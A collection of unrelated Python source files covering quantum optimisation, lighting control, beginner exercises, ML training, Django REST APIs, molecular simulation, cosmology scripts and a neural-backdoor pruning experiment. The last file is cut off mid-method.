import numpy as np
import networkx as nx
import matplotlib.pyplot as plt
import pennylane as qml
import pennylane.qaoa as qaoa

# start with a graph
edges = [(0, 1), (1, 2), (2, 0), (2, 3)]
graph = nx.Graph(edges)

#nx.draw(graph, with_labels=True)
#plt.show()

# cost and mixer is given from pennylane
cost_h, mixer_h = qaoa.min_vertex_cover(graph, constrained=False)
print ('Cost Hamiltonian', cost_h)
print ('Mixer Hamiltonian', mixer_h)

# QAOA with two parameters
def qaoa_layer(gamma, alpha):
    qaoa.cost_layer(gamma, cost_h)
    qaoa.mixer_layer(alpha, mixer_h)

# full circuit
wires = range(4)
depth = 2

# initial state and QAOA
def circuit(params, **kwargs):
    for w in wires:
        qml.Hadamard(wires=w)
    qml.layer(qaoa_layer, depth, params[0], params[1])

# device used as a backend
dev = qml.device("qulacs.simulator", wires=wires)

# cost function - expectation of cost_h on the device
cost_function = qml.ExpvalCost(circuit, cost_h, dev)

# optimization loop
optimizer = qml.GradientDescentOptimizer()
steps = 20
params = [[0.5, 0.5], [0.5, 0.5]]

for i in range(steps):
    params = optimizer.step(cost_function, params)

print("Optimal parameters")
print(params)

@qml.qnode(dev)
def prob_circuit(gamma, alpha):
    circuit([gamma, alpha])
    return qml.probs(wires=wires)

probs = prob_circuit(params[0], params[1])

plt.style.use("seaborn")
plt.bar(range(2**len(wires)), probs)
plt.show()


from In_out.utils.DMX import DMX
from In_out.dmx.controllers.Dmx_controller import Dmx_controller
from tree.utils.Logger import Logger
from threading import Lock

class KingDMX(Dmx_controller):
    """
    Le controler dmx kingDMX
    (can also works for different brand)
    """
    def __init__(self, addr, transmitter = []):
        Dmx_controller.__init__(self, transmitter)
        self.addr = addr
        self.dmx = DMX(addr, auto_submit=True)
        self.dmx.clear_channels()

    def set(self, channel, value):
        super().set(channel, value)
        if self.dmx:
            self.dmx.set_channel(channel, int(value))


#digitar números e perguntar se quer continuar - somar - média - total de números - maior e menor valor -
n = s = m = cont = maior = menor = 0
escolha = ''
while escolha != 'N':
    n = int(input('Digite um número: '))
    escolha = str(input('Quer continuar? [S/N]: ')).strip().upper()
    cont += 1
    s += n
    print(f'Soma: {s}')
    m = s / cont
    print(f'Média: {m :.1f}')
    if cont == 1:
        maior = menor = n
    else:
        if n > maior:
            maior = n
        if n < menor:
            menor = n
print(f'Foram digitados {cont} número(s) e a SOMA foi {s}')
print(f'A MÉDIA dos valores foi {m :.1f}')
print(f'o MAIOR valor digitado foi {maior} e o MENOR valor digitado foi {menor}.')


import torch
from torch import tensor
import torch.nn as nn
import os

# from peewee import *
from dbmodel import TrainingDataModel
if(__name__=='__main__'):
    while(True):
        if(os.path.exists('./data/NNModel2')):
            print('loading model')
            model = torch.load('./data/NNModel2')
        else:
            print('creating model')
            # model = nn.Sequential(nn.Linear(7, 200), nn.Linear(200,200), nn.Linear(200,50), nn.Linear(50,3), nn.Sigmoid())
            model = nn.Sequential(nn.Linear(7, 200),nn.ReLU(), nn.Linear(200,50), nn.Linear(50,3), nn.Softmax(dim=0))
            # output, long, short, wait
        X = []
        y = []
        # query = TrainingDataModel.select().where(TrainingDataModel.if_trained==False)
        query = TrainingDataModel.select()
        for rec in query:
            X.append([rec.res_coeffs_0, rec.res_coeffs_1, rec.sup_coeffs_0, rec.sup_coeffs_1, rec.price_coeffs_0, rec.price_coeffs_1, rec.price_coeffs_2])
            # y = [[rec.long, rec.short, rec.wait]]
            y.append([rec.long, rec.short, rec.wait])
        if(not 0 in [len(X), len(y)]):
            X = torch.tensor(X, dtype=torch.float)
            y = torch.tensor(y, dtype=torch.float)
            lossfn = nn.MSELoss(reduction='mean')
            optimizer = torch.optim.RMSprop(model.parameters(), lr=1e-2)
            epochs = 500
            for e in range(epochs):
                optimizer.zero_grad()
                model.train(mode=True)
                predicted = model(X)
                loss = lossfn(predicted, y)
                print('training ', e, end="\r")
                loss.backward()
                optimizer.step()
                # optimizer.zero_grad()
            print('done', ' '*50)
            rec.if_trained = True
            rec.save()
            torch.save(model,'./data/NNModel2')
        res = input('stop training=x? ')
        if(res=='x'):
            print('done')
            break

    # next = True
    # # user interaction mode
    # while next:
    #     study = float(input('Study hour: '))
    #     sleep = float(input('Sleep hour: '))
    #     xPredict = torch.tensor(([study, sleep]), dtype=torch.float)
    #     # xPredict_max, _ = torch.max(xPredict, 0)
    #     xPredictScaled = xPredict / X_max
    #     result = NN.predict(xPredictScaled)
    #     print(f'[{study}, {sleep}] result: {(result * y_max).item()}')
    #     # if(input('next? ')!=''):
    #     #     next = False


def main():
    books = book_list()
    print(f'Read {len(books)} books')
    menu(books)

def book_list():
    books=[]
    infile = open('bestsellers.txt', 'r')
    bestsellers = infile.readlines()
    infile.close()
    for index in range(len(bestsellers)):
        bestsellers[index] = bestsellers[index].rstrip('\n')
        cols = bestsellers[index].split('\t')
        books.append(cols)
    return books

def menu(books):
    print('1: Look up year range')
    print('2: Look up month/year')
    print('3: Search for author')
    print('4: Search for title')
    print('Q: Quit')
    user = input('What would you like to do? ').lower()
    if user == '1':
        year_range(books)
        menu(books)
    elif user == '2':
        month_year(books)
        menu(books)
    elif user == '3':
        search_author(books)
        menu(books)
    elif user == '4':
        search_title(books)
        menu(books)
    elif user == 'q':
        print('Done')
        exit()
    elif user != '1' or '2' or '3' or '4' or 'q':
        print("I don't understand this command")
        menu(books)

def year_range(books):
    startYear = int(input('Enter start year: '))
    endYear = int(input('Enter end year: '))

    for b in books:
        date= b[3].split('/')
        year = int(date[2])
        title = b[0]
        author = b[1]
        publisher = b[2]
        genre = b[4]
        final_date = b[3]
        if year >= startYear and year <= endYear:
            print(f'{title} by: {author} (pub date: {final_date})')
    menu(books)

def month_year(books):
    month_input = int(input('Enter month (1-12): '))
    year_input = int(input('Enter year: '))
    for b in books:
        date = b[3].split('/')
        year = int(date[2])
        month = int(date[0])
        title = b[0]
        author = b[1]
        publisher = b[2]
        genre = b[4]
        final_date = b[3]
        if month_input == month and year_input == year:
            print(f'{title} by: {author} (pub date: {final_date})')
    menu(books)

def search_author(books):
    author_input = str(input('Enter search string: ')).lower()
    for b in books:
        title = b[0]
        author = b[1].lower()
        author_final = b[1]
        publisher = b[2]
        genre = b[4]
        final_date = b[3]
        if author.__contains__(author_input):
           print(f'{title} by: {author_final} (pub date: {final_date})')
    menu(books)

def search_title(books):
    search = str(input('Enter search string: ')).lower()
    bestsellers_file = open('bestsellers.txt', 'r')
    for b in books:
        title = b[0].lower()
        title_final = b[0]
        author = b[1]
        publisher = b[2]
        genre = b[4]
        final_date = b[3]
        if title.__contains__(search):
           print(f'{title_final} by: {author} (pub date: {final_date})')
    menu(books)

if __name__ == '__main__':
    main()


#!/usr/bin/env python3
import sys
from collections import deque, Counter
from heapq import heappop, heappush
from bisect import bisect_right
from itertools import accumulate

sys.setrecursionlimit(10**6)
INF = 10**12
m = 10**9 + 7

def main():
    N = int(input())
    ans = INF
    for i in range(N):
        A, P, X = map(int, input().split())
        if X - A > 0:
            ans = min(ans, P)
    if ans == INF:
        print(-1)
    else:
        print(ans)

if __name__ == "__main__":
    main()


import serial
import time
import logging
import json
import os

logger = logging.getLogger(__name__)

class connector:
    def __init__(self, path_to_prefernces=None):
        self.tunnel = self.create_com_port(path_to_prefernces)

        # self.tunnel.baudrate = 115200
        # self.tunnel.port = 'COM3'
        # self.tunnel.timeout = 0.5
        # self.tunnel.write_timeout = 0.5

        if not self.tunnel.is_open:
            self.tunnel.open()
        logger.info(f"Connector to {self.tunnel.port} port was successfully created\n\n")

    def get_com_port(self):
        return self.tunnel

    def create_com_port(self, path_to_preferences=None) -> object:
        data = self.read_comport_preferences(path_to_preferences)
        if data is None:
            return serial.Serial(
                port='COM5',
                baudrate=9600,
                timeout=0.5,
                writeTimeout=0.5
            )
        else:
            return serial.Serial(
                port=data['port'],
                baudrate=data['baudrate'],
                timeout=data['timeout'],
                write_timeout=data['write_timeout'],
            )

    def read_comport_preferences(self, path: object) -> object:
        """ get com port preferences
        :type path: object
        :param path: #path to com port json file preferences
        :return object: {'port':' 'baudrate':' "parity":' "stopbits":' "bytesize":}
        :Date: 2022-11-27
        :Version: 1
        :Authors: bodomus@gmail.com
        """
        if not os.path.isfile(path):
            raise Exception("invalid file path {!r}".format(path))
        logger.info("read port preferences from file %s", path)
        with open(path) as json_file:
            data = json.load(json_file)
            return {'port': data['port'], 'baudrate': data['baudrate'], "parity": data['parity'],
                    "write_timeout": data['write_timeout'], "bytesize": data['bytesize'], "timeout": data['timeout']}

# with serial.Serial() as ser:
#     ser.baudrate = 115200
#     ser.port = 'COM3'
#     ser.timeout = 0.5
#     ser.write_timeout = 0.5
#     # ser.rtscts = True
#     ser.open()
#     # time.sleep(2)
#     l = [118, 0, 8, 37, 0, 0, 0, 2, 0, 10, 13]
#     # m = [31, 31, 38, 20, 30, 20, 38, 20, 33, 37, 20, 30, 20, 30, 20, 30, 20, 32, 20, 30]
#
#     while 1:
#         if not ser.is_open:
#             ser.open()
#         time.sleep(1)
#         len = ser.write(l)
#         print(f'Send {len} bytes')
#         # ser.flush()
#
#         r = ser.read(4)
#         # print(f'R={r} length: {len(r)}')
#         # ser.read_until(size=10)
#         while ser.in_waiting:
#             data = ser.readline().decode("ascii")
#             print(f'Data={data} length: {len(data)}')
#
#         ser.close()
#         if not ser.is_open:
#             print('port close')


#########################
#                       #
# Developer: Luis Regus #
# Date: 11/13/2015      #
# Updated: 11/16/2015   #
#                       #
#########################

def to_rna(sequence):
    ''' Returns the transcribed RNA of a DNA strand

        This functions gets a DNA strand a converts it
        to its transcribed RNA

        Args:
            sequence (str) = DNA strand

        Returns:
            str: RNA strand
    '''
    nucleotides = {'G':'C', 'C':'G', 'T':'A', 'A':'U'}
    sequence = sequence.upper()
    rna_strand = ""
    for s in sequence:
        for dna_trans, rna_trans in nucleotides.items():
            if s == dna_trans:
                rna_strand += rna_trans
    return rna_strand


#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Thu Jan 17 19:06:03 2019

@author: tdesfont
"""

import numpy as np
from biocells.biocells_model import BioCells
from discretize_screen.discretization import get_full_indicator_matrix

rewards = []
actions = []
frames = []

simulation = BioCells(verbose=0)
position_prey = simulation.position_prey[0]
position_predator = simulation.position_predator[0]

stacked_pos_prey_predator = np.vstack((simulation.position_prey[0], simulation.position_predator[0]))

simulation.reset()
while not simulation.game_over:
    print(simulation.play(1))
    print(simulation.position_predator)

from mcts.game_simulator import Simulator
simulator = Simulator()
help(simulator.predict)
simulator.predict(np.array([0, 0]), np.array([0, 3]), 3)


from tensorflow import keras
from tensorflow import config as tf_config

tf_config.experimental.set_memory_growth(
    tf_config.list_physical_devices("GPU")[0], True
)

def new(vocab_size, embidding_dim=256, rnn_units=1024, batch_size=1):
    return keras.Sequential(
        [
            keras.layers.Embedding(
                vocab_size, embidding_dim, batch_input_shape=[batch_size, None]
            ),
            keras.layers.LSTM(
                rnn_units,
                return_sequences=True,
                stateful=True,
                recurrent_initializer="glorot_uniform",
                dropout=0.25,
            ),
            keras.layers.Dense(vocab_size),
        ]
    )


from rest_framework import serializers
from api import models

class ClientSerializer(serializers.ModelSerializer):
    class Meta:
        model = models.Client
        fields = ['id','pic', 'name', 'company', 'email', 'contact', 'sector', 'est_value']

    def create(self, validated_data):
        pic = validated_data.pop('pic')
        request = self.context.get('request', None)
        validated_data['created_by'] = request.user.profile
        client = models.Client(**validated_data)
        client.save()
        client.pic = pic
        client.save()
        return client

class ClientGetSerializer(serializers.ModelSerializer):
    class Meta:
        model = models.Client
        fields = "__all__"

    def update(self, instance, validated_data):
        if "name" in validated_data:
            instance.name = validated_data.get('name', instance.name)

        if "email" in validated_data:
            instance.email = validated_data.get('email', instance.email)

        if "pic" in validated_data:
            instance.pic = validated_data.get('pic', instance.pic)

        if "contact" in validated_data:
            instance.contact = validated_data.get('contact', instance.contact)

        if "est_value" in validated_data:
            instance.est_value = validated_data.get('est_value', instance.est_value)

        if "company" in validated_data:
            instance.company = validated_data.get('company', instance.company)

        if "lead_status" in validated_data:
            print(validated_data.get('lead_status', instance.lead_status))
            instance.lead_status = validated_data.get('lead_status', instance.lead_status)

        if "deal_status" in validated_data:
            print(validated_data.get('deal_status', instance.deal_status))
            instance.deal_status = validated_data.get('deal_status', instance.deal_status)

        instance.save()
        return instance

class notesSerializer(serializers.ModelSerializer):
    class Meta:
        model = models.Notes
        fields = ['id', 'type', 'description', 'tag']

    def create(self, validated_data):
        request = self.context.get('request', None)
        validated_data['created_by'] = request.user.profile
        tag = validated_data.pop("tag")
        if tag[0] =="c":
            client = models.Client.objects.get(id=int(tag[1:]))
            notes = models.Notes(**validated_data)
            notes.save()
            client.notes.add(notes.id)
            client.save()
        return notes

class filesSerializer(serializers.ModelSerializer):
    class Meta:
        model = models.Files
        fields = ['id', 'name', 'files', 'tag' , 'type', 'size']

    def create(self, validated_data):
        print("enterfile")
        request = self.context.get('request', None)
        validated_data['owner'] = request.user.profile
        tag = validated_data.pop("tag")
        if tag[0] =="c":
            client = models.Client.objects.get(id=int(tag[1:]))
            file = models.Files(**validated_data)
            file.save()
            client.file.add(file.id)
            client.save()
        return file

class orderSerializer(serializers.ModelSerializer):
    class Meta:
        model = models.Order
        fields = ['id', 'item', 'quantity', 'demand', 'tag']

    def create(self, validated_data):
        request = self.context.get('request', None)
        validated_data['created_by'] = request.user.profile
        tag = validated_data.pop("tag")
        if tag[0] =="c":
            client = models.Client.objects.get(id=int(tag[1:]))
            order = models.Order(**validated_data)
            order.save()
            client.orders.add(order.id)
            client.save()
        return order

class orderGetSerializer(serializers.ModelSerializer):
    class Meta:
        model = models.Order
        fields = "__all__"


import os, shutil
from datetime import datetime
from molecular_system.molecular_system import MolecularSystem, PeriodicMolecularSystem
from molecular_system.mapping_utils import *
from inout.file_reader import InputParser, MolecularFilesReader

class Initializer():
    """Class to read the input file and initialize the variables
    necessary for a specific task. Each task is implemented as
    a separate method:
    - initialize_for_mapping
    - initialize_for_force_matching
    - ...

    Auxiliary methods allow to handle initialization from specific
    trajectory formats. Currently only LAMMPS format is supported:
    - initialize_from_lammps
    """

    def __init__(self, filename):
        """Call InputParser to read the input file and store
        parameter names and values in self.parameters.
        """
        self.parameters = InputParser().parse(filename)
        self.reader = MolecularFilesReader()

    def initialize_for_mapping(self, cmdl_args):
        """ Reads the atomistic trajectory and properties from a
        LAMMPS dump and data files and initializes a corresponding
        PeriodicMolecularSystem object with the read values:
         - coordinates, images, box
         - forces
         - number of atoms, molecules, frames
         - masses, atom types, molecule membership
         - bonds list

        Returns
        -------
        atom_sys: PeriodicMolecularSystem
            Initialized PeriodicMolecularSystem corresponding to the atomistic trajectory
        feature:
            Selected feature for the mapping model: cooridinates or full distances matrix
        parameters: Parameters
            A dictionary-like object of model parameters and settings read from the input file
        """
        parameters = self.overwrite_from_command_line(self.parameters, cmdl_args)
        if not hasattr(parameters, 'overwrite'):
            parameters["overwrite"] = "no"

        atom_sys = self.initialize_from_lammps(parameters)

        parameters["shuffle"] = True # Shuffle the instances during training
        parameters["Tstart"] = 4 # Starting temperature in Gumbel-Softmax annealing
        parameters["molname"] = parameters["trajectory"].partition(".")[0] # Used for output file names
        parameters["task"] = "mapping"

        parameters = self.create_output_folder(parameters)

        return atom_sys, parameters

    def initialize_for_force_matching(self, cmdl_args):
        """ Initializes the atomistic and coarse grained system objects
        with the attributes read from the input files.

        Parameters
        ----------
        input_file_name: str
            name of the input file for a force matching task
            Expected format of the input file: header line, path_to_data,
            coords_and_forces_file, assignment_and_type_template_file,
            mass_template_file, n_frames, n_atoms_per_mol, n_mol, n_cg_per_mol
        logger:
            a logger object to output details of the systems
        Returns
        -------
        atom_sys, cg_sys: MolSystem()
            Initialized MolSystem objects corresponding to the atomistic and
            mapped coarse grained trajectories
        """

        parameters = self.overwrite_from_command_line(self.parameters, cmdl_args)
        if not hasattr(parameters, 'overwrite'):
            parameters["overwrite"] = "no"

        atom_sys = self.initialize_from_lammps(parameters)

        # Instanciate the mapped CG trajectory and fill it with data calculated from the atomistic one
        if eval(parameters["periodic"]) == True:
            cg_sys = PeriodicMolecularSystem(int(parameters["n_CG_mol"]),
                                             int(parameters["n_molecules"]),
                                             int(parameters["n_frames"]))
        else:
            cg_sys = MolecularSystem(int(parameters["n_CG_mol"]),
                                     int(parameters["n_molecules"]),
                                     int(parameters["n_frames"]))

        bead_idx = self.reader.read_file(parameters["directory"] + parameters["assignments"])
        del bead_idx[0] #remove header
        mapper = AtomisticToCGMapper()
        mapper.map_trajectory(atom_sys, cg_sys, bead_idx)

        parameters["shuffle"] = True # Shuffle the instances during training
        parameters["molname"] = parameters["trajectory"].partition(".")[0] # Used for output file names
        parameters["task"] = "force_matching"

        parameters = self.create_output_folder(parameters)

        return atom_sys, cg_sys, parameters

    def initialize_for_simulation(self, cmdl_args):
        sim_parameters = self.overwrite_from_command_line(self.parameters, cmdl_args)
        if not hasattr(sim_parameters, 'overwrite'):
            sim_parameters["overwrite"] = "no"

        loaded_model = torch.load(sim_parameters["directory"] + sim_parameters["model_path"])
        parameters = loaded_model["parameters"]
        parameters["overwrite"] = sim_parameters["overwrite"]
        parameters["n_frames"] = 1

        atom_sys = self.initialize_from_lammps(parameters)
         # Instanciate the mapped CG trajectory and fill it with data calculated from the atomistic one
        if eval(parameters["periodic"]) == True:
            cg_sys = PeriodicMolecularSystem(int(parameters["n_CG_mol"]),
                                             int(parameters["n_molecules"]),
                                             int(parameters["n_frames"]))
        else:
            cg_sys = MolecularSystem(int(parameters["n_CG_mol"]),
                                     int(parameters["n_molecules"]),
                                     int(parameters["n_frames"]))

        bead_idx = self.reader.read_file(parameters["directory"] + parameters["assignments"])
        del bead_idx[0] #remove header
        mapper = AtomisticToCGMapper()
        mapper.map_trajectory(atom_sys, cg_sys, bead_idx)

        parameters["molname"] = parameters["trajectory"].partition(".")[0] # Used for output file names
        parameters["task"] = "simulation"

        parameters = self.create_output_folder(parameters)

        return atom_sys, cg_sys, loaded_model, parameters, sim_parameters

    def initialize_from_lammps(self, parameters):
        """Read from LAMMPS data and dump files and store the
        properties in a PeriodicMolecularSystem object.
        NOTE: Only systems with one molecule type supported.

        Arguments:
        ---------
        parameters: dict
            Dictionary with filenames and import parameters read
            from the input file. It should containy:
            - n_particles_mol: number of particles of one molecule
            - n_molecules: number of molecules in the system
            - n_frames: number of frames to read. They will be taken
                        from the beginning of the file
            - directory: relative path where the lammps files are located
            - trajectory: name of the lammps dump file
            - data_file: name of the lammps data file

        Returns:
        -------
        mol_sys: PeriodicMolecularSystem
            Object initialized with all properties read from the lammps files

        """
        # Instanciate the atomistic trajectory and fill it with data from the LAMMPS dump file
        n_particles_mol = int(parameters["n_atoms_mol"])
        n_molecules = int(parameters["n_molecules"])
        n_frames = int(parameters["n_frames"])

        if eval(parameters["periodic"]) == True:
            mol_sys = PeriodicMolecularSystem(n_particles_mol, n_molecules, n_frames)
        else:
            mol_sys = MolecularSystem(n_particles_mol, n_molecules, n_frames)
        self.reader.read_dump(parameters["directory"]+parameters["trajectory"],mol_sys)
        self.reader.read_data(parameters["directory"]+parameters["data_file"],mol_sys)
        return mol_sys

    def overwrite_from_command_line(self, parameters, cmdl_args):
        i = 0
        for attribute in dir(cmdl_args):
            if not attribute.startswith('_'):  # exclude attributes that do not come from the input file
                cmd_value = getattr(cmdl_args, dir(cmdl_args)[i])
                if cmd_value is not None:
                    parameters[attribute] = str(cmd_value)
            i=i+1
        return parameters

    def create_output_folder(self, parameters):
        # Overwrite the content in the default folder
        if eval(parameters["overwrite"]) == True:
            res_folder = parameters["directory"] + "default_output_" + parameters["task"] + "/"
            parameters["res_folder"] = res_folder
            if not os.path.exists(res_folder): #create the directory if it does not exists
                os.mkdir(res_folder)
            elif os.listdir(res_folder):            # make a temporary backup if the directory
                bak_folder = res_folder+"bak/"      # exists and it is not empty
                if os.path.exists(bak_folder): # remove the bak directory if it exists
                    shutil.rmtree(bak_folder)
                shutil.copytree(res_folder, bak_folder)

        # Create a new folder for the run
        elif eval(parameters["overwrite"]) == False:
            timestamp = str(datetime.utcnow().strftime('%Y_%m_%d_%H%M%S'))
            res_folder = parameters["directory"] + parameters["task"] + "_" + timestamp + "/"
            parameters["res_folder"] = res_folder
            if not os.path.exists(res_folder):
                os.mkdir(res_folder)

        return parameters


# copy over other imports, check cosmology 0.02235, 0.1200
# could add free params to header though currently one for mean, so trivial; add mean flux
# should figure out the xyz to yzx thing I think
# maybe save the norsd tau version
# could loadsave tng and plot here or better yet save these in data (savez anywhere?)
import os
import gc
import sys
sys.path.append("..")

import numpy as np
import asdf
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt

from astropy.cosmology import FlatLambdaCDM
from pmesh.pm import ParticleMesh
from nbodykit.mockmaker import gaussian_real_fields
from nbodykit.lab import cosmology

from tools import rsd_tau, density2tau, tau2deltaF, compress_asdf
from compute_power import compute_pk1d, compute_pk3d

def get_noise(k, n=0.732, k1=0.0341):
    return 1./(1 + (k/k1)**n)

def Pk_extra(k):
    return get_noise(k)

# sample directories
sim_name = "AbacusSummit_base_c000_ph006"
save_dir = "/global/cscratch1/sd/boryanah/Ly_alpha/"+sim_name

# simulation directory
Lbox = 2000. # Mpc/h
ngrid = 8000
ngrid_yz = 200
part_type = "AB"
paint_type = 'TSC' # 'CIC' # 'TSC'
z = 2.5

# load density and velocity field
f = asdf.open(save_dir+f'/z{z:.3f}/density_velocity_{paint_type}_Ndim{ngrid_yz:d}_{ngrid:d}_part{part_type}.asdf')
density = f['data']['Density'][:]
vfield = f['data']['Velocity'][:]
f.close()

# do the yzx inversion here
density = np.transpose(density, (1, 2, 0))
vfield = np.transpose(vfield, (1, 2, 0))
print(density.shape, vfield.shape)

# density is number of particles per cell and vfield is same but weighted by the 1d velocity, so divide by number of particles
vfield = vfield/density # km/s, peculiar
vfield[density == 0.] = 0.
density /= np.mean(density)

# resolution
cell_size = Lbox/ngrid
want_rsd = True

# cosmological parameters
h = 0.6736
ombh2 = 0.02237
omch2 = 0.1200
Omega_m = (ombh2+omch2)/h**2.

# fix this with proper coordinates (though it doesn't matter too much)
cosmo = FlatLambdaCDM(H0=h*100., Om0=Omega_m, Tcmb0=2.7255)
H_z = cosmo.H(z).value
E_z = H_z/h
print("H(z) = ", H_z)

# generate noise in 1D
delta_extra = np.zeros((ngrid_yz, ngrid_yz, ngrid))
for i in range(ngrid_yz):
    for j in range(ngrid_yz):
        # create empty mesh, generate white noise (variance unity), multiply by P(k)**0.5
        pm = ParticleMesh(Nmesh=[ngrid, 1], BoxSize=Lbox)
        delta1d_extra, _ = gaussian_real_fields(pm, Pk_extra, seed=42+j*ngrid_yz+i)
        delta1d_extra = np.asarray(delta1d_extra)
        #print(delta1d_extra.dtype, delta1d_extra.shape)
        delta_extra[i, j, :] = delta1d_extra[:, 0]

# to ensure proper normalization (should be done in nbodykit)
#delta_extra /= Lbox**1.5

# to ensure unit variance
delta_extra /= np.std(delta_extra)
sigma_extra = np.std(delta_extra)
mean_extra = np.mean(delta_extra)
print("mean, std of extra field = ", mean_extra, sigma_extra)
print("before = ", density.mean())

# lognormal field
delta_lognorm = np.exp(delta_extra - sigma_extra**2/2.) - 1.
print("mean, std of LN field = ", delta_lognorm.mean(), delta_lognorm.std())
density *= (1 + delta_lognorm)
del pm, delta_lognorm, delta_extra; gc.collect()
print("after = ", density.mean())

# generate tau
tau_0 = 1.
power = 1.6
tau = density2tau(density, tau_0, power)
del density; gc.collect()

# we have ngrid^3 cells
bins = np.linspace(0., ngrid, ngrid+1)
binc = (bins[1:] + bins[:-1]) * .5
binc *= cell_size # cMpc/h
print(bins)
print(binc)
print(tau.shape, vfield.shape, binc[0], binc[-2:], Lbox, tau.mean(), vfield.mean())

# apply RSD to tau
tau = rsd_tau(tau, vfield, binc, E_z, z, Lbox)

# cannot use fake_spectra on NERSC
"""
# convert to deltaF by rescaling
#deltaF = tau2deltaF(tau, z, mean_F=None)
deltaF = tau2deltaF_mine(tau, z, mean_F=None)

# compute power spectrum
from compute_power import compute_pk1d
k_hMpc, p1d_hMpc = compute_pk1d(deltaF, Lbox)
print("1d power = ", p1d_hMpc)
"""

# save the fgpa arrays
header = {}
header['Redshift'] = z
header['Simulation'] = sim_name
header['PaintMode'] = paint_type
header['ParticleType'] = part_type
header['RSD'] = want_rsd
#header['MeanFlux'] =
header['DirectionsOrder'] = 'YZX'
table = {}
table['OpticalDepth'] = tau
#table['OpticalDepthNoRSD'] = tau_norsd
#table['DeltaFlux'] = deltaF

# save the FGPA maps
os.makedirs(f'{save_dir}/fgpa/z{z:.3f}', exist_ok=True)
compress_asdf(f'{save_dir}/fgpa/z{z:.3f}/maps_{paint_type}_Ndim{ngrid_yz:d}_{ngrid:d}_part{part_type}.asdf', table, header)
quit()

# compute power spectrum
k_hMpc, p1d_hMpc = compute_pk1d(deltaF, Lbox)

# plot power spectrum
plt.figure(2, figsize=(9, 7))
plt.plot(k_hMpc, p1d_hMpc*k_hMpc/np.pi, label='FGPA')

# define bins
n_k_bins = 20
n_mu_bins = 16
mu_want = [0., 0.33, 0.66, 1.]
k_hMpc, mu, p3d_hMpc, counts = compute_pk3d(deltaF, Lbox, n_k_bins, n_mu_bins)

no_nans = 0
for i in range(n_k_bins):
    if not np.any(np.isnan(mu[i])): no_nans = i
int_mu = []
for i in range(len(mu_want)):
    int_mu.append(np.argmin(np.abs(mu_want[i] - mu[no_nans])))
print(k_hMpc[:, int_mu[3]])

cosmo = cosmology.Planck15
P_L = cosmology.LinearPower(cosmo, z, transfer='EisensteinHu')

plt.figure(3, figsize=(9, 7))
plt.plot(k_hMpc[:, int_mu[0]], (p3d_hMpc)[:, int_mu[0]]/P_L.__call__(k_hMpc[:, int_mu[0]]), color='violet')
plt.plot(k_hMpc[:, int_mu[1]], (p3d_hMpc)[:, int_mu[1]]/P_L.__call__(k_hMpc[:, int_mu[1]]), color='cyan')
plt.plot(k_hMpc[:, int_mu[2]], (p3d_hMpc)[:, int_mu[2]]/P_L.__call__(k_hMpc[:, int_mu[2]]), color='yellow')
plt.plot(k_hMpc[:, int_mu[3]], (p3d_hMpc)[:, int_mu[3]]/P_L.__call__(k_hMpc[:, int_mu[3]]), color='red')


from ANP.optimize_mask_cifar import init_args as mask_init_args
from ANP.optimize_mask_cifar import main as mask_main
from ANP.prune_neuron_cifar import main as prune_main
from ANP.prune_neuron_cifar import init_args as prune_init_args

from train_cifar10 import build_model, load_model, prepare_dataset
from test import make_SP_test_dataset, get_box_trigger_func, load_trigger, get_pattern_trigger_func

def main():
    # model_path = './checkpoint/benign_cifar10_resnet18.pth'
    # model_path = './checkpoint/box_4x4_resnet18.pth'
    # model_path = './checkpoint/trojan_0.8.pth'
    model_path = './checkpoint/ckpt_trojan_4vs1.pth'
    trigger_path = './checkpoint/trigger_first_try_0.8.pth'

    trainset, testset = prepare_dataset()

    src_lb = 3
    tgt_lb = 5
    mask_tanh_tensor, pattern_tanh_tensor, src_lb, tgt_lb = load_trigger(trigger_path)
    trigger_func = get_pattern_trigger_func(mask_tanh_tensor, pattern_tanh_tensor)
    # trigger_func = get_box_trigger_func()
    poison_test = make_SP_test_dataset(testset, src_lb, tgt_lb, trigger_func)

    net = build_model()
    model, best_acc, start_epoch, _ = load_model(net, model_path)
    net.eval()
    state_dict = model.state_dict()

    args = mask_init_args()
    print(args.arch)
    args.arch = 'resnet18'
    mask_main(args, poison_test=poison_test, state_dict=state_dict)

    args = prune_init_args()
    print(args.arch)
    args.arch = 'resnet18'
    prune_main(args, poison_test=poison_test, state_dict=state_dict)

if __name__ == '__main__':
    main()


import json
import requests
from django.http import JsonResponse
from django.db.models import Q
from rest_framework.generics import CreateAPIView, ListAPIView, RetrieveAPIView, DestroyAPIView, UpdateAPIView
from rest_framework.response import Response
from rest_framework import status, viewsets
from rest_framework.views import APIView

from stocks.serializers import (
    LatestFinancialInfoSerializer,
    YearlyFinancialInfoSerializer,
    QuarterlyFinancialInfoSerializer,
    LastestFinancialReportsSerializer,
    LastestFinancialReportsNameSerializer,
    LastestFinancialReportsValueSerializer,
    CompanyHistoricalQuoteSerializer
)
from stocks.models import (
    Stock,
    Company,
    LatestFinancialInfo,
    YearlyFinancialInfo,
    QuarterlyFinancialInfo,
    LastestFinancialReportsName,
    LastestFinancialReportsValue
)

from stocks.constants import IndustryTypeListStock, IndustryTypeConstant

def mapData(data, type):
    result = []
    for item in data:
        for valuesItem in item['Values']:
            valuesItem['ID'] = item['ID']
            valuesItem['Type'] = type
            result.append(valuesItem)
    return result

def filterData(data):
    for item in data:
        item['Values'] = [a for a in item['Values'] if a['Year'] == 2020]
    return data

def get_industry_type(symbol):
    if IndustryTypeListStock.TYPE_NGAN_HANG.count(symbol) > 0:
        return IndustryTypeConstant.NGAN_HANG
    elif IndustryTypeListStock.TYPE_BAO_HIEM.count(symbol) > 0:
        return IndustryTypeConstant.BAO_HIEM
    elif IndustryTypeListStock.TYPE_CHUNG_KHOAN.count(symbol) > 0:
        return IndustryTypeConstant.CHUNG_KHOAN
    elif IndustryTypeListStock.TYPE_QUY.count(symbol) > 0:
        return IndustryTypeConstant.QUY
    return IndustryTypeConstant.DEFAULT

class LatestFinancialInfoRetrieveAPIView(RetrieveAPIView):
    def get(self, request, *args, **kwargs):
        StockId = request.GET.get('stockId')
        result = LatestFinancialInfo.objects.filter(Stock_id=StockId)
        if result.count() != 1:
            return Response(None, status=status.HTTP_404_NOT_FOUND)
        serializer = LatestFinancialInfoSerializer(result[0])
        return Response(serializer.data, status=status.HTTP_201_CREATED)

class LatestFinancialInfoViewSet(viewsets.ViewSet):
    def list(self, request):
        queryset = LatestFinancialInfo.objects.all()
        serializer = LatestFinancialInfoSerializer(queryset, many=True)
        return Response(serializer.data)

    def retrieve(self, request, pk=None):
